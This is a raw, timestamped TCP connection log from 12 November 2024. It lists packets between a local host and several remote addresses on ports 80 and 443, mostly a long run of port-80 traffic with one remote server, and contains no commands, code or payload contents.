Nov 12, 2024 21:22:07.160088062 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.160252094 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.160270929 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.270004034 CET	80	49794	185.215.113.43	192.168.2.4
Nov 12, 2024 21:22:07.270081043 CET	49794	80	192.168.2.4	185.215.113.43
Nov 12, 2024 21:22:07.273211002 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:07.278173923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:07.278243065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:07.278359890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:07.283173084 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:07.515741110 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:07.515783072 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:07.515852928 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:07.516179085 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:07.516204119 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:07.764801979 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.770293951 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.770324945 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.770873070 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.770878077 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.777250051 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.777606010 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.777637005 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.777983904 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.777990103 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.880961895 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.881421089 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.881459951 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.881835938 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.881841898 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.900883913 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.901029110 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.901098013 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.901153088 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.901169062 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.901176929 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.901182890 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.903791904 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.903831959 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.903906107 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.904017925 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.904023886 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.906122923 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.906440020 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.906486034 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.906513929 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.906529903 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.906541109 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.906547070 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.908386946 CET	49801	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.908421993 CET	443	49801	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:07.908500910 CET	49801	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.908627987 CET	49801	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:07.908633947 CET	443	49801	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.008846045 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.009040117 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.009124041 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:08.009149075 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:08.009149075 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:08.009164095 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.009172916 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.011281013 CET	49802	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:08.011302948 CET	443	49802	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.011396885 CET	49802	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:08.011506081 CET	49802	443	192.168.2.4	13.107.246.45
Nov 12, 2024 21:22:08.011514902 CET	443	49802	13.107.246.45	192.168.2.4
Nov 12, 2024 21:22:08.188394070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188493967 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.188499928 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188512087 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188551903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.188687086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188699961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188711882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188721895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188733101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188733101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.188745975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188759089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.188764095 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.188800097 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.193644047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.193716049 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.193759918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.193805933 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.341267109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.341284037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.341298103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.341342926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.341381073 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.343372107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.343420029 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.343425989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.343439102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.343463898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.343475103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.343596935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.343615055 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.343650103 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.344031096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344043016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344053984 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344063997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344075918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344088078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.344120026 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.344130993 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.344635963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344649076 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344660044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344670057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344686031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.344686985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.344718933 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.344737053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.345525980 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.345537901 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.345549107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.345587969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.345670938 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.345717907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.346400976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.346450090 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.347382069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.347429037 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.495223045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.495237112 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.495249033 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.495279074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.495301962 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.495747089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.495760918 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.495805979 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497396946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497447968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497457027 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497505903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497558117 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497570992 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497581959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497601032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497627020 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497633934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497646093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497653008 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497657061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497669935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497678995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497705936 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497726917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497803926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497824907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497836113 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497849941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497857094 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497859001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497869968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.497872114 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497999907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.497999907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.498306990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498349905 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.498457909 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498469114 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498483896 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498495102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498501062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.498507977 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498519897 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498527050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.498527050 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.498531103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498537064 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.498567104 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.498578072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.498991966 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499011040 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499021053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499041080 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499056101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499181986 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499193907 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499206066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499232054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499243975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499531031 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499576092 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499682903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499694109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499706030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499716043 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499727011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499737024 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499742031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499751091 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499761105 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499769926 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499772072 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499785900 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.499789953 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499798059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.499829054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.500710964 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.500755072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.501156092 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.501195908 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.740788937 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.740883112 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.741776943 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.741789103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.741799116 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.741811037 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.741837978 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.741858006 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.741955996 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.741970062 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.741981983 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.741993904 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.742012978 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.742016077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.742034912 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.742043972 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.742046118 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.742088079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745173931 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745187044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745198011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745208025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745219946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745229006 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745229959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745243073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745253086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745260954 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745265961 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745276928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745277882 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745296001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745299101 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745311975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745321989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745328903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745340109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745346069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745352030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745368958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745368958 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745382071 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745393038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745403051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745407104 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745421886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745430946 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745434046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745445967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745449066 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745456934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745457888 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745470047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745479107 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745491028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745498896 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745501041 CET	443	49799	4.245.163.56	192.168.2.4
Nov 12, 2024 21:22:08.745512962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745520115 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745524883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745532036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745544910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745553970 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745557070 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745598078 CET	49799	443	192.168.2.4	4.245.163.56
Nov 12, 2024 21:22:08.745598078 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745616913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745719910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745732069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745742083 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745752096 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745763063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745764017 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745774984 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745785952 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745789051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745798111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745807886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745810986 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745826960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745831013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745840073 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745850086 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745861053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745862007 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745872974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745888948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745892048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745899916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745917082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745918989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745925903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745934010 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745945930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745956898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745959997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.745969057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745981932 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.745990038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.746000051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.746021032 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.746519089 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746572971 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.746618032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746629953 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746639967 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746650934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746664047 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.746669054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746680021 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746690989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.746697903 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.746710062 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.746741056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.747844934 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.747874022 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.747884989 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.747890949 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.747925997 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.747953892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.747966051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.747984886 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.747997046 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.748003006 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.748009920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.748022079 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.748022079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.748034000 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.748045921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.748051882 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.748084068 CET	49798	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:22:08.748270988 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.748368025 CET	80	49798	185.215.113.16	192.168.2.4
Nov 12, 2024 21:22:08.748378992 CET	80	49798	185.215.113.16	192.168.2.4
